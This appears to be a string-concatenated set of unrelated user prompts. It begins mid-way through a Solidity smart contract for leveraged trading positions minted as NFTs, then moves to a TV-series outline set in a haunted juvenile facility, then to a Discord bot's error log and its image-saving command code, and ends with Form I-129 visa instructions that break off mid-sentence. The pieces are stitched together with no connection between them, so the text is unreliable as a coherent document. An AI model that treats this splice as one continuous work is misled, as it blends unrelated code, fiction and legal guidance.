shortOi[\\_asset][\\_tigAsset]) {\n accInterestPerOi[\\_asset][\\_tigAsset][true] -= (int256(block.timestamp-lastUpdate[\\_asset][\\_tigAsset])\\*fundingDeltaPerSec[\\_asset][\\_tigAsset])\\*1e18/int256(longOi[\\_asset][\\_tigAsset]);\n if (shortOi[\\_asset][\\_tigAsset] > 0) {\n accInterestPerOi[\\_asset][\\_tigAsset][false] += ((int256(block.timestamp-lastUpdate[\\_asset][\\_tigAsset])\\*fundingDeltaPerSec[\\_asset][\\_tigAsset])\\*1e18/int256(shortOi[\\_asset][\\_tigAsset]))\\*int256(1e10-vaultFundingPercent[\\_asset][\\_tigAsset])/1e10;\n }\n }\n lastUpdate[\\_asset][\\_tigAsset] = block.timestamp;\n int256 \\_oiDelta;\n if (\\_longOi > \\_shortOi) {\n \\_oiDelta = int256(\\_longOi)-int256(\\_shortOi);\n } else {\n \\_oiDelta = int256(\\_shortOi)-int256(\\_longOi);\n }\n \n fundingDeltaPerSec[\\_asset][\\_tigAsset] = (\\_oiDelta\\*int256(\\_baseFundingRate)/int256(DIVISION\\_CONSTANT))/31536000;\n longOi[\\_asset][\\_tigAsset] = \\_longOi;\n shortOi[\\_asset][\\_tigAsset] = \\_shortOi;\n vaultFundingPercent[\\_asset][\\_tigAsset] = \\_vaultFundingPercent;\n }\n\n /\\*\\*\n \\* @notice mint a new position nft\n \\* @dev only callable by minter\n \\* @param \\_mintTrade New trade params in struct\n \\*/\n function mint(\n MintTrade memory \\_mintTrade\n ) external onlyMinter {\n uint newTokenID = \\_tokenIds.current();\n\n Trade storage newTrade = \\_trades[newTokenID];\n newTrade.margin = \\_mintTrade.margin;\n newTrade.leverage = \\_mintTrade.leverage;\n newTrade.asset = \\_mintTrade.asset;\n newTrade.direction = \\_mintTrade.direction;\n newTrade.price = \\_mintTrade.price;\n newTrade.tpPrice = \\_mintTrade.tp;\n newTrade.slPrice = \\_mintTrade.sl;\n newTrade.orderType = \\_mintTrade.orderType;\n newTrade.id = newTokenID;\n newTrade.tigAsset = \\_mintTrade.tigAsset;\n\n \\_safeMint(\\_mintTrade.account, newTokenID);\n if (\\_mintTrade.orderType > 0) {\n \\_limitOrders[\\_mintTrade.asset].push(newTokenID);\n \\_limitOrderIndexes[\\_mintTrade.asset][newTokenID] = \\_limitOrders[\\_mintTrade.asset].length-1;\n } else {\n initId[newTokenID] = accInterestPerOi[\\_mintTrade.asset][\\_mintTrade.tigAsset][\\_mintTrade.direction]\\*int256(\\_mintTrade.margin\\*\\_mintTrade.leverage/1e18)/1e18;\n \\_openPositions.push(newTokenID);\n \\_openPositionsIndexes[newTokenID] = \\_openPositions.length-1;\n\n \\_assetOpenPositions[\\_mintTrade.asset].push(newTokenID);\n \\_assetOpenPositionsIndexes[\\_mintTrade.asset][newTokenID] = \\_assetOpenPositions[\\_mintTrade.asset].length-1;\n }\n \\_tokenIds.increment();\n }\n\n /\\*\\*\n \\* @param \\_id id of the position NFT\n \\* @param \\_price price used for execution\n \\* @param \\_newMargin margin after fees\n \\*/\n function executeLimitOrder(uint256 \\_id, uint256 \\_price, uint256 \\_newMargin) external onlyMinter {\n Trade storage \\_trade = \\_trades[\\_id];\n if (\\_trade.orderType == 0) {\n return;\n }\n \\_trade.orderType = 0;\n \\_trade.price = \\_price;\n \\_trade.margin = \\_newMargin;\n uint \\_asset = \\_trade.asset;\n \\_limitOrderIndexes[\\_asset][\\_limitOrders[\\_asset][\\_limitOrders[\\_asset].length-1]] = \\_limitOrderIndexes[\\_asset][\\_id];\n \\_limitOrders[\\_asset][\\_limitOrderIndexes[\\_asset][\\_id]] = \\_limitOrders[\\_asset][\\_limitOrders[\\_asset].length-1];\n delete \\_limitOrderIndexes[\\_asset][\\_id];\n \\_limitOrders[\\_asset].pop();\n\n \\_openPositions.push(\\_id);\n \\_openPositionsIndexes[\\_id] = \\_openPositions.length-1;\n \\_assetOpenPositions[\\_asset].push(\\_id);\n \\_assetOpenPositionsIndexes[\\_asset][\\_id] = \\_assetOpenPositions[\\_asset].length-1;\n\n initId[\\_id] = accInterestPerOi[\\_trade.asset][\\_trade.tigAsset][\\_trade.direction]\\*int256(\\_trade.margin\\*\\_trade.leverage/1e18)/1e18;\n }\n\n /\\*\\*\n \\* @notice modifies margin and leverage\n \\* @dev only callable by minter\n \\* @param \\_id position id\n \\* @param \\_newMargin new margin amount\n \\* @param \\_newLeverage new leverage amount\n \\*/\n function modifyMargin(uint256 \\_id, uint256 \\_newMargin, uint256 \\_newLeverage) external onlyMinter {\n \\_trades[\\_id].margin = \\_newMargin;\n \\_trades[\\_id].leverage = \\_newLeverage;\n }\n\n /\\*\\*\n \\* @notice modifies margin and entry price\n \\* @dev only callable by minter\n \\* @param \\_id position id\n \\* @param \\_newMargin new margin amount\n \\* @param \\_newPrice new entry price\n \\*/\n function addToPosition(uint256 \\_id, uint256 \\_newMargin, uint256 \\_newPrice) external onlyMinter {\n \\_trades[\\_id].margin = \\_newMargin;\n \\_trades[\\_id].price = \\_newPrice;\n initId[\\_id] = accInterestPerOi[\\_trades[\\_id].asset][\\_trades[\\_id].tigAsset][\\_trades[\\_id].direction]\\*int256(\\_newMargin\\*\\_trades[\\_id].leverage/1e18)/1e18;\n }\n\n /\\*\\*\n \\* @notice Called before updateFunding for reducing position or adding to position, to store accumulated funding\n \\* @dev only callable by minter\n \\* @param \\_id position id\n \\*/\n function setAccInterest(uint256 \\_id) external onlyMinter {\n \\_trades[\\_id].accInterest = trades(\\_id).accInterest;\n }\n\n /\\*\\*\n \\* @notice Reduces position size by %\n \\* @dev only callable by minter\n \\* @param \\_id position id\n \\* @param \\_percent percent of a position being closed\n \\*/\n function reducePosition(uint256 \\_id, uint256 \\_percent) external onlyMinter {\n \\_trades[\\_id].accInterest -= \\_trades[\\_id].accInterest\\*int256(\\_percent)/int256(DIVISION\\_CONSTANT);\n \\_trades[\\_id].margin -= \\_trades[\\_id].margin\\*\\_percent/DIVISION\\_CONSTANT;\n initId[\\_id] = accInterestPerOi[\\_trades[\\_id].asset][\\_trades[\\_id].tigAsset][\\_trades[\\_id].direction]\\*int256(\\_trades[\\_id].margin\\*\\_trades[\\_id].leverage/1e18)/1e18;\n }\n\n /\\*\\*\n \\* @notice change a position tp price\n \\* @dev only callable by minter\n \\* @param \\_id position id\n \\* @param \\_tpPrice tp price\n \\*/\n function modifyTp(uint \\_id, uint \\_tpPrice) external onlyMinter {\n \\_trades[\\_id].tpPrice = \\_tpPrice;\n }\n\n /\\*\\*\n \\* @notice change a position sl price\n \\* @dev only callable by minter\n \\* @param \\_id position id\n \\* @param \\_slPrice sl price\n \\*/\n function modifySl(uint \\_id, uint \\_slPrice) external onlyMinter {\n \\_trades[\\_id].slPrice = \\_slPrice;\n }\n\n /\\*\\*\n \\* @dev Burns an NFT and it\'s data\n \\* @param \\_id ID of the trade\n \\*/\n function burn(uint \\_id) external onlyMinter {\n \\_burn(\\_id);\n uint \\_asset = \\_trades[\\_id].asset;\n if (\\_trades[\\_id].orderType > 0) {\n \\_limitOrderIndexes[\\_asset][\\_limitOrders[\\_asset][\\_limitOrders[\\_asset].length-1]] = \\_limitOrderIndexes[\\_asset][\\_id];\n \\_limitOrders[\\_asset][\\_limitOrderIndexes[\\_asset][\\_id]] = \\_limitOrders[\\_asset][\\_limitOrders[\\_asset].length-1];\n delete \\_limitOrderIndexes[\\_asset][\\_id];\n \\_limitOrders[\\_asset].pop(); \n } else {\n \\_assetOpenPositionsIndexes[\\_asset][\\_assetOpenPositions[\\_asset][\\_assetOpenPositions[\\_asset].length-1]] = \\_assetOpenPositionsIndexes[\\_asset][\\_id];\n \\_assetOpenPositions[\\_asset][\\_assetOpenPositionsIndexes[\\_asset][\\_id]] = \\_assetOpenPositions[\\_asset][\\_assetOpenPositions[\\_asset].length-1];\n delete \\_assetOpenPositionsIndexes[\\_asset][\\_id];\n \\_assetOpenPositions[\\_asset].pop(); \n\n \\_openPositionsIndexes[\\_openPositions[\\_openPositions.length-1]] = \\_openPositionsIndexes[\\_id];\n \\_openPositions[\\_openPositionsIndexes[\\_id]] = \\_openPositions[\\_openPositions.length-1];\n delete \\_openPositionsIndexes[\\_id];\n \\_openPositions.pop(); \n }\n delete \\_trades[\\_id];\n }\n\n function assetOpenPositionsLength(uint \\_asset) external view returns (uint256) {\n return \\_assetOpenPositions[\\_asset].length;\n }\n\n function limitOrdersLength(uint \\_asset) external view returns (uint256) {\n return \\_limitOrders[\\_asset].length;\n }\n\n function getCount() external view returns (uint) {\n return \\_tokenIds.current();\n }\n\n function userTrades(address \\_user) external view returns (uint[] memory) {\n uint[] memory \\_ids = new uint[](balanceOf(\\_user));\n for (uint i=0; i<\\_ids.length; i++) {\n \\_ids[i] = tokenOfOwnerByIndex(\\_user, i);\n }\n return \\_ids;\n }\n\n function openPositionsSelection(uint \\_from, uint \\_to) external view returns (uint[] memory) {\n uint[] memory \\_ids = new uint[](\\_to-\\_from);\n for (uint i=0; i<\\_ids.length; i++) {\n \\_ids[i] = \\_openPositions[i+\\_from];\n }\n return \\_ids;\n }\n\n function setMinter(address \\_minter, bool \\_bool) external onlyOwner {\n \\_isMinter[\\_minter] = \\_bool;\n } \n\n modifier onlyMinter() {\n require(\\_isMinter[\\_msgSender()], "!Minter");\n \\_;\n }\n\n // META-TX\n function \\_msgSender() internal view override(Context, MetaContext) returns (address sender) {\n return MetaContext.\\_msgSender();\n }\n function \\_msgData() internal view override(Context, MetaContext) returns (bytes calldata) {\n return MetaContext.\\_msgData();\n }\n}' +'Here is the segment 2 of 3 of the outline we\'ve written:\n\n9,INT. LOS PADRINOS GROUP THERAPY ROOM - DAY,"Alex has her first group therapy session at Los Padrinos, where she begins to learn more about her fellow detainees and their personal struggles. Chris proposes the idea of therapy journal videos and the group is very resistant.","Alex and her cellmates, along with Carlos and a few other detainees, gather in the group therapy room for their first session with young therapist Chris Ramirez. The room is designed to be more welcoming and comfortable than the rest of the facility, with large windows, soft lighting, and an array of cozy seating options.\n\nChris starts the session by introducing himself and encouraging everyone to share their feelings and experiences in a safe and judgment-free environment. The detainees are initially unresponsive, making the atmosphere tense.\n\nAs the therapy session progresses, Alex makes a connection with Heather when they share a brief moment of understanding. The group begins to open up, albeit reluctantly, sharing snippets of their stories and the challenges they face at Los Padrinos. Alex shares her story, including her older sister Isela’s history at Los Padrinos before the closure and how her mother\'s strong faith was tested by the trouble she and her sister got into and the challenges they faced as a family. Jasmine and Pretzel exchange knowing glances. She\'s begun to earn the attention of the group.\n\nTowards the end of the session, Chris introduces his idea of therapy journal videos, explaining that they can serve as a safe space for self-expression and a tool for personal growth. The group reacts with overwhelming skepticism and harsh dismissal, mocking the idea and scoffing at the notion of sharing their feelings on camera."\n10,INT. LOS PADRINOS - VARIOUS LOCATIONS - DAY,"Montage: The detainees awkwardly attempt their first therapy journal videos, showcasing their unique character traits while providing a comedic break and insights into their deeper emotions and challenges.","We see a montage of the detainees reluctantly attempting their first therapy journal videos. Each character is in a different location within Los Padrinos, seeking privacy for their video recordings.\n\nAlex struggles to find the right words, rolling her eyes as she tries to express her emotions on camera. Jasmine, sarcastic and defiant, complains about the therapy exercise and directs her aggression towards Chris for making her do this.\n\nCarlos is really on edge, constantly checking over his shoulder to make sure no one sees him doing this nonsense. He clocks someone just behind his lens: ""You got somethin to say, dog?""\n\nHeather sings a song. This is her comfort zone.\n\nEach character exhibits their own unique coping mechanisms and reactions to the therapy journal exercise, showcasing their vulnerability and reluctance to open up, and providing a comedic break while also offering glimpses into their deeper emotions and challenges."\n11,INT. LOS PADRINOS CAFETERIA - DAY,"Alex learns more about Los Padrinos\' dark past from another detainee, sparking her curiosity and determination to uncover the truth.","Alex sits in the bustling cafeteria, eating her meal while trying to process everything she\'s experienced so far. A fellow detainee, Mara, approaches and takes a seat next to her. Mara, who had been detained at Los Padrinos before its closure and recently returned after a three-year stint at another facility, shares her own experiences and deeper knowledge of the facility\'s dark past.\n\nMara talks about the mysterious disappearances, hauntings, and supernatural events that plagued Los Padrinos before its closure. As Alex listens, she becomes increasingly determined to get to the bottom of these stories and find out what happened to her sister Isela.\n\nThe conversation between Alex and Mara is interrupted by the sudden arrival of a few hostile detainees, who challenge Alex\'s presence and her motives for being at Los Padrinos. Alex stands her ground, asserting her place and showing that she\'s not someone to be messed with. The scene ends with Mara giving Alex an approving nod, signaling the beginning of a new alliance in their quest to uncover the truth."\n12,INT. LOS PADRINOS DETENTION CENTER - NIGHT,"A power outage creates an eerie atmosphere, during which Heather experiences a terrifying vision linked to the facility\'s dark past. It leaves the group unsettled, but finding protection in their company.","The detainees are settling in for the night when suddenly, a power outage plunges the facility into darkness. The atmosphere becomes eerie as unsettling whispers fill the air, and the temperature drops rapidly. Alex and her cellmates huddle together, feeling uneasy and fearful in the dark.\n\nDuring this event, Heather is visibly shaken and experiences a horrifying vision linked to Los Padrinos\' dark past. Her fellow detainees notice her distress, and gather around her.\n\nThe power is restored, but the atmosphere remains tense and unsettled. Heather shares her terrifying experience with the group, and they realize that the darkness they\'d heard about is darker than they could have imagined."\n13,INT. LOS PADRINOS - HIDDEN ROOM - DAY,"In a secret meeting, the detainees share their experiences with Los Padrinos\' dark forces. As mistrust lingers, they\'re interrupted by Director Evelyn, heightening tensions between detainees and staff.","Alex, Mara, Carlos, Heather, Pretzel, and Jasmine gather for a secret meeting in a hidden room, away from the watchful eyes of the facility\'s staff. Each person shares their experiences and encounters with the dark forces at Los Padrinos, but there\'s a clear sense of mistrust and wariness among them.\n\nMara, who has firsthand knowledge of Los Padrinos before it was shut down, shares the rumors she\'s heard. The others listen with a mix of skepticism and curiosity, unsure whether they can trust Mara\'s information or one another.\n\nAlex, driven by her determination to uncover the truth about her sister Isela, suggests they might need to work together to face the dark forces at play.\n\nJust as they begin to circle around a shared objective, the door to the hidden room bursts open, and the facility\'s director, Evelyn Bunker enters, accompanied by a guard. Her friendly façade has vanished, she\'s no longer on display, and the group of detainees is immediately on edge, realizing that they are not in safe hands here.\n\nWith their secret meeting exposed and Evelyn now the enemy, the tension between the detainees and the staff intensifies. They disperse, each one left to face the consequences of their actions."\n14,INT. LOS PADRINOS - INTERROGATION ROOM - DAY,"The main characters face discipline while being interrogated by the director, further exposing the tension between the inmates and the administration.","In a montage set in the director\'s interrogation room, each of the kids is put in the hot seat, one by one, with the director and other staff members present. As each character faces the consequences of their actions, tensions rise, and the administration\'s façade of safety and compassion begins to crumble.\n\nEach kid faces the consequences, with varying degrees of punishment and pressure. The characters\' reactions reveal aspects of their personalities, ranging from defiance to fear. Towards the end of the scene, the most defiant one, Jasmine, raises her voice in anger, challenging the director about the unexplainable eerie danger at Los Padrinos. She demands to know what the administration will do to keep them safe. This bold confrontation draws a line in the sand, forcing the administration to take a stance on the conditions at the facility."\n15,INT. LOS PADRINOS - INTERROGATION ROOM - DAY (FLASHBACK),"Alex\'s interrogation continues as she flashes back to her older sister being interrogated and abused by the past administrators in this very same room, years before.","The scene opens with a flashback to Isela, defiant and angry, facing a cruel punishment in the same interrogation room where the detainees had just been questioned. The room seems even more menacing and unforgiving during this flashback. Isela struggles, but her spirit remains unbroken.\n\nWe seamlessly merge the scene back to the present, where Alex intuitively feels Isela\'s suffering, her mind drifts back to a time before her sister was sent to Los Padrinos."\n16,EXT. ALEX\'S HOME - FRONT PORCH - DAY (FLASHBACK),"In a flashback, young Alex and Isela share a heartfelt moment. The flashback ends abruptly, returning to Alex in the interrogation room with Director Evelyn putting on a caring façade but subtly warning Alex not to disrupt the balance at Los Padrinos.","In this flashback, we see a younger Alex and Isela sharing a heartfelt moment on their front porch. Isela, sensing the challenges that lie ahead for her, gives Alex a piece of advice, creating a touching and emotional connection between the sisters.\n\nThe tender moment ends abruptly as we return to the interrogation room with Alex. She has drifted off in the moment, as Director Evelyn is cooling off, putting on a pretense of caring as she warns Alex subtly not to mess with the balance here."\n17,INT. LOS PADRINOS - COMMON ROOM - NIGHT,"Alex and Carlos share a heart-to-heart, sharing personal stories, building trust and understanding. Their connection deepens, but they are interrupted and disperse before they can be discovered.","Alex and Carlos find themselves alone in the dimly lit common room, seeking solace away from the intense atmosphere of the interrogation room. Hesitantly, they begin to share their personal stories and experiences with each other.\n\nAlex opens up about her sister Isela and her quest to uncover the truth about what happened to her at Los Padrinos. Carlos reveals his own struggles, feeling trapped in a cycle of crime and punishment, desperate for safety in his identity, and the weight of the judgment his family has placed on him.\n\nAs they talk, their conversation becomes increasingly honest and vulnerable. They find a connection in their shared experiences and begin to understand one another on a deeper level.\n\nTheir heart-to-heart is interrupted when they hear mysterious footsteps approaching, and they quickly disperse to avoid drawing attention."\n18,INT. LOS PADRINOS - THERAPY ROOM - DAY,"In the therapy room, the detainees share their stories, hinting at the strange occurrences at Los Padrinos. Chris encourages them to support each other, aware that there\'s more going on here than meets the eye.","The detainees gather in the therapy room for another group session with Chris. He notices the shift in the atmosphere, the tension between the detainees and the staff now palpable. Nevertheless, he attempts to steer the session towards open communication and growth.\n\nMara, hesitant at first, decides to share a fragment of her story, testing the waters and subtly alluding to the strange events that have been happening at Los Padrinos. The others in the group, including Alex and Carlos, begin to listen more intently, realizing that they might not be the only ones who have had strange encounters.\n\nChris picks up on the undercurrents in the conversation but doesn\'t push too hard, instead encouraging the group to be supportive of each other and to continue sharing their experiences. He\'s masking his awareness of the creepiness pervading the halls, but we can tell it\'s on his mind as the session disbands. He reminds them they need to record their next video journals. They groan at this assignment, but secretly they\'re kind of into it."' +'saved :graffx\\_ukrainska\\_mova\\_901f2c4a-2327-4a6d-906a-f1455ed28c90.png\npath: ./images/creations-everyday\nSaving image graffx\\_ukrainska\\_mova\\_901f2c4a-2327-4a6d-906a-f1455ed28c90.png\nsaved :graffx\\_shift\\_from\\_left-right\\_to\\_traditionalism\\_versus\\_progress\\_0f7b270d-f62a-44f4-96de-2c68d7975414.png\npath: ./images/creations-everyday\nSaving image graffx\\_shift\\_from\\_left-right\\_to\\_traditionalism\\_versus\\_progress\\_0f7b270d-f62a-44f4-96de-2c68d7975414.png\nsaved :graffx\\_who\\_was\\_the\\_first\\_the\\_egg\\_or\\_the\\_chiken\\_d1b1f5e9-d34e-4f01-87f5-892c65cdfd2b.png\npath: ./images/creations-everyday\nSaving image graffx\\_who\\_was\\_the\\_first\\_the\\_egg\\_or\\_the\\_chiken\\_d1b1f5e9-d34e-4f01-87f5-892c65cdfd2b.png\nDiscordAPIError[40060]: Interaction has already been acknowledged.\n at SequentialHandler.runRequest (/Users/graff/developr/DiscordBot3/node\\_modules/@discordjs/rest/dist/index.js:667:15)\n at process.processTicksAndRejections (node:internal/process/task\\_queues:95:5)\n at async SequentialHandler.queueRequest (/Users/graff/developr/DiscordBot3/node\\_modules/@discordjs/rest/dist/index.js:464:14)\n at async REST.request (/Users/graff/developr/DiscordBot3/node\\_modules/@discordjs/rest/dist/index.js:910:22)\n at async ChatInputCommandInteraction.reply (/Users/graff/developr/DiscordBot3/node\\_modules/discord.js/src/structures/interfaces/InteractionResponses.js:111:5)\n at async Client. (/Users/graff/developr/DiscordBot3/bot.js:30:3) {\n requestBody: { files: [], json: { type: 4, data: [Object] } },\n rawError: {\n message: \'Interaction has already been acknowledged.\',\n code: 40060\n },\n code: 40060,\n status: 400,\n method: \'POST\',\n url: \'https://discord.com/api/v10/interactions/1065489810820706374/aW50ZXJhY3Rpb246MTA2NTQ4OTgxMDgyMDcwNjM3NDozU3M4Z2JvVVNxUkNod3htVVg2QmtpbGtuemRVcFZwN2hHMFhhbFAxWFVUenU1VFBPWkRDWG91ZWFncjd4M0ZNTTVRNjVVZXhCWURibzl3S1hoYlozeTdqMmZ5bGZZcExXa3Z1OG1meEJtd2w2R2ppWGd1Y2I5REpmeWVuUTNydw/callback\'\n}\nnode:events:491\n throw er; // Unhandled \'error\' event\n ^\n\nDiscordAPIError[40060]: Interaction has already been acknowledged.\n at SequentialHandler.runRequest (/Users/graff/developr/DiscordBot3/node\\_modules/@discordjs/rest/dist/index.js:667:15)\n at process.processTicksAndRejections (node:internal/process/task\\_queues:95:5)\n at async SequentialHandler.queueRequest (/Users/graff/developr/DiscordBot3/node\\_modules/@discordjs/rest/dist/index.js:464:14)\n at async REST.request (/Users/graff/developr/DiscordBot3/node\\_modules/@discordjs/rest/dist/index.js:910:22)\n at async ChatInputCommandInteraction.reply (/Users/graff/developr/DiscordBot3/node\\_modules/discord.js/src/structures/interfaces/InteractionResponses.js:111:5)\n at async Client. (/Users/graff/developr/DiscordBot3/bot.js:33:3)\nEmitted \'error\' event on Client instance at:\n at emitUnhandledRejectionOrErr (node:events:394:10)\n at process.processTicksAndRejections (node:internal/process/task\\_queues:84:21) {\n requestBody: {\n files: [],\n json: {\n type: 4,\n data: {\n content: \'There was an error while executing this command!\',\n tts: false,\n nonce: undefined,\n embeds: undefined,\n components: undefined,\n username: undefined,\n avatar\\_url: undefined,\n allowed\\_mentions: undefined,\n flags: 64,\n message\\_reference: undefined,\n attachments: undefined,\n sticker\\_ids: undefined,\n thread\\_name: undefined\n }\n }\n },\n rawError: {\n message: \'Interaction has already been acknowledged.\',\n code: 40060\n },\n code: 40060,\n status: 400,\n method: \'POST\',\n url: \'https://discord.com/api/v10/interactions/1065489810820706374/aW50ZXJhY3Rpb246MTA2NTQ4OTgxMDgyMDcwNjM3NDozU3M4Z2JvVVNxUkNod3htVVg2QmtpbGtuemRVcFZwN2hHMFhhbFAxWFVUenU1VFBPWkRDWG91ZWFncjd4M0ZNTTVRNjVVZXhCWURibzl3S1hoYlozeTdqMmZ5bGZZcExXa3Z1OG1meEJtd2w2R2ppWGd1Y2I5REpmeWVuUTNydw/callback\'\n}\n :::::: const { SlashCommandBuilder } = require("discord.js");\nconst fs = require("fs");\nconst path = require("path");\nconst https = require("https");\nconst http = require("http");\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName("mjsave")\n .setDescription(\n "Saves \'amount\'(1) of images sent by the MidJourney Bot in the channel. (min.100Kb)"\n )\n .addIntegerOption((option) =>\n option\n .setName("amount")\n .setDescription("Number of images to save (default 1)")\n )\n .addIntegerOption((option) =>\n option\n .setName("min\\_size")\n .setDescription("Minimum size of attachments in KB (default 100KB)")\n ),\n async execute(interaction) {\n let amount = interaction.options.getInteger("amount");\n let minSize = interaction.options.getInteger("min\\_size") \\* 1000;\n\n if (!amount) {\n amount = 1;\n }\n if (!minSize) {\n minSize = 100000;\n }\n if (amount < 1 || amount > 99) {\n return interaction.reply({\n content: "You need to input a number between 1 and 99.",\n ephemeral: true,\n });\n }\n\n const allowedExtensions = [".jpg", ".jpeg", ".png", ".gif"];\n let savedImagesCount = 0;\n let currentMessageIndex = 0;\n while (savedImagesCount < amount) {\n const messages = await interaction.channel.messages.fetch({\n limit: amount - savedImagesCount,\n });\n const messagesArray = Array.from(messages.values());\n const messagesToProcess = messagesArray.slice(0, amount);\n //filter messages by the MidJourney Bot\'s user ID\n const mjMessages = messagesToProcess.filter(\n (message) => message.author.id === "936929561302675456"\n );\n for (const message of mjMessages) {\n if (message.attachments.size > 0) {\n const attachment = message.attachments.first();\n const fileName = attachment.name;\n const extension = path.extname(fileName).toLowerCase();\n if (!allowedExtensions.includes(extension)) {\n console.log(\n `Skipping file ${fileName} because it has an invalid extension.`\n );\n continue;\n }\n if (attachment.size < minSize) {\n console.log(\n `Skipping file ${fileName} because it has an invalid file size.`\n );\n }\n console.log("saved :" + fileName);\n // Saving the attachment\n const channelName = interaction.channel.name;\n const dir = `./images/${\n channelName ? channelName.replace(/[\\\\\\/:\\*?"<>|]/g, "") : "default"\n }`;\n console.log("path: " + dir);\n if (!fs.existsSync(dir)) {\n fs.mkdirSync(dir);\n console.log("folder created: " + dir);\n }\n\n const filePath = path.join(dir, fileName);\n const mod = attachment.url.startsWith("https") ? https : http;\n await new Promise((resolve, reject) => {\n mod.get(attachment.url, (response) => {\n response.pipe(fs.createWriteStream(filePath));\n console.log(`Saving image ${fileName}`);\n resolve();\n });\n });\n savedImagesCount++;\n if (savedImagesCount >= amount) {\n break;\n }\n }\n currentMessageIndex++;\n }\n }\n\n return interaction.reply({\n content: `Successfully saved ${savedImagesCount} images.`,\n ephemeral: true,\n });\n },\n};' +'Part 2. Petition Only Required for an Alien in the United States to Change Status or Extend Stay\nThe following classifications listed in this Part 2. do not require a petition for new employment if the alien is outside the\nUnited States.\nUse this Form I-129 when the beneficiary is physically present in the United States and a change of status, concurrent\nemployment, or an extension of stay is needed. Note: The beneficiary must be maintaining lawful status in the United\nStates to remain eligible for the benefit sought.\nE-1 Nonimmigrants\nThe E-1 classification is for aliens who are nationals of a country with which the United States maintains a\nqualifying treaty or an international agreement, or which has been deemed a qualifying country by legislation, and\nwho are coming to the United States to carry on substantial trade principally between the United States and the\nalien’s country of nationality. The Department of State maintains a list of countries with qualifying treaties. See\nhttps://travel.state.gov/content/visas/en/fees/treaty.html for a list of qualifying countries.\nWrite E-1 in the classification block.\nQualifying trade involves the commercial exchange of goods or services in the international market place. Substantial\ntrade is an amount of trade sufficient to ensure continuous flow of international trade items between the United States and\nthe treaty country. Principal trade exists when more than 50 percent of the E-1’s total volume of international trade is\nconducted between United States and the treaty country.\nAn employee of an E-1 treaty trader who possesses the same nationality as the E-1 employer may also be classified as E-1.\nThe employee must principally and primarily perform executive or supervisory duties or possess special qualifications that\nare essential to the successful or efficient operation of the enterprise. The E-1 employee may perform work for the parent\ntreaty organization or enterprise, or any subsidiary of the parent organization or enterprise.\nThe petition must be filed with evidence of:\n1. Ownership and Nationality of the E-1 treaty trader. Such evidence may include, but is not limited to, lists of\ninvestors with current status and nationality, stock certificates, certificate of ownership issued by the commercial\nsection of a foreign embassy, and reports from a certified personal accountant;\n2. Substantial Trade. Evidence of substantial trade may include, but is not limited to, copies of three or more of the\nfollowing: bills of lading, customs receipts, letter of credit, trade brochures, purchase orders, insurance papers,\ndocumenting commodities imported, carrier inventories, and/or sales contracts, or other probative documentation\nestablishing the requisite substantial trade; and\n3. For E-1 employees only: Executive or Supervisory Duties or special qualification essential to the enterprise.\nEvidence of such duties or qualifications may include, but is not limited to, certificates, diplomas or transcripts, letters\nfrom employers describing job titles, duties, operators’ manuals, and the required level of education and knowledge.\nE-2 Nonimmigrants\nThe E-2 classification is for aliens who are nationals of a country with which the United States maintains a\nqualifying treaty or an international agreement, or which has been deemed a qualifying country by legislation,\nand who are coming to the United States to develop and direct the operations of an enterprise in which the alien\nhas invested or is actively in the process of investing a substantial amount of capital. The Department of State\nmaintains a list of countries with qualifying treaties. See https://travel.state.gov/content/visas/en/fees/treaty.html\nfor a list of qualifying countries.\nWrite E-2 in the classification block.\nAn E-2 must demonstrate possession and control of capital and the ability to develop and direct the investment enterprise\nand the ability to develop and direct the investment enterprise. Capital in the process of being invested or that has been\ninvested must be placed at risk and be irrevocably committed to the enterprise. The enterprise must be a real, active, and\noperating commercial or entrepreneurial undertaking that produces services or goods for profit. The investment must be\nsubstantial and the funds must not have been obtained, directly or indirectly, from criminal activity. The enterprise must\nbe more than marginal.\nForm I-129 Instructions 11/02/22 Page 24 of 30\nAn employee of an E-2 who possesses the same nationality as the E-2 employer may also be classified as E-2. The\nemployee must principally and primarily perform executive or supervisory duties or possess special qualifications that are\nessential to the successful or efficient operation of the enterprise.\nThe petition must be filed with evidence of:\n1. Ownership and Nationality of the E-2 treaty investor. Such evidence may include, but is not limited to, lists of\ninvestors with current status and nationality, stock certificates, certificate of ownership issued by the commercial\nsection of a foreign embassy, and reports from a certified personal accountant;\n2. Substantial investment. Such evidence may include, but is not limited to, copies of partnership agreements (with a\nstatement on proportionate ownership), articles of incorporation, payments for the rental of business premises or office\nequipment, business licenses, stock certificates, office inventories (goods and equipment purchased for the business),\ninsurance appraisals, annual reports, net worth statements from certified profession accountants, advertising invoices,\nbusiness bank accounts containing funds for routine operations, funds held in escrow; and\n3. For E-2 employees only: Executive or Supervisory Duties or special qualifications essential to the enterprise.\nEvidence of such duties or qualifications may include, but is not limited to, certificates, diplomas or transcripts, letters\nfrom employers describing job titles, duties, operators’ manuals, and the required level of education and knowledge.\nAdvice on E-1 and E-2 petitions\nYou must obtain approval from USCIS when substantive changes occur in the terms or conditions of the status of the\ntreaty trader, investor, or E employee. To do this, file Form I-129 and E-1/E-2 Classification Supplement, with fee, and\nrequest an extension of stay.\nYou may seek advice from USCIS to determine whether changes in the terms or conditions in E status are substantive.\nTo obtain advice, file Form I-129 and E-1/E-2 Classification Supplement, with fee. Answer “Yes” to the question on the\nSupplement which asks whether you are seeking advice.\nFree Trade Nonimmigrants (H-1B1 and TNs)\nThe Free Trade Nonimmigrant classifications (H-1B1 and TN) are temporary nonimmigrant classifications based on the\nprovisions of a Free Trade Agreement between the United States and the alien’s country of citizenship. Currently there are\ntwo stand-alone Free Trade Nonimmigrant classifications available: TN and H-1B1.\nThe TN nonimmigrant classification is for aliens who are citizens of Canada or Mexico covered by the North\nAmerican Free Trade Agreement coming to the United States to engage temporarily in business activities at a\nprofessional level. Depending on the specific type of business activity, a TN must at least have a bachelor’s degree\nor, in certain limited instances, other appropriate credentials which demonstrate status as a professional. The\nacceptable types of TN business activities at a professional level are listed at 8 CFR 214.6(c).\nWrite TN in the classification block.\nDocumentary evidence must be submitted if the applicant is a citizen of Canada and is currently outside the United States\nOR if the applicant is a citizen of Canada or Mexico and is requesting a “Change of Status” to TN. The applicant must\nsubmit evidence demonstrating that he or she will be engaged in business activities at a professional level and that the\napplicant possesses the requisite professional qualifications. Acceptable evidence may include, but is not limited to, the\nfollowing:\n1. A letter from the employer stating the activity the beneficiary will be engaged in, the anticipated length of stay, and\nthe arrangements for remuneration;\n2. A copy of the beneficiary’s last two pay stubs and W-2 if employed in the United States; and\n3. Evidence the beneficiary meets the educational and/or licensing requirements for the profession or 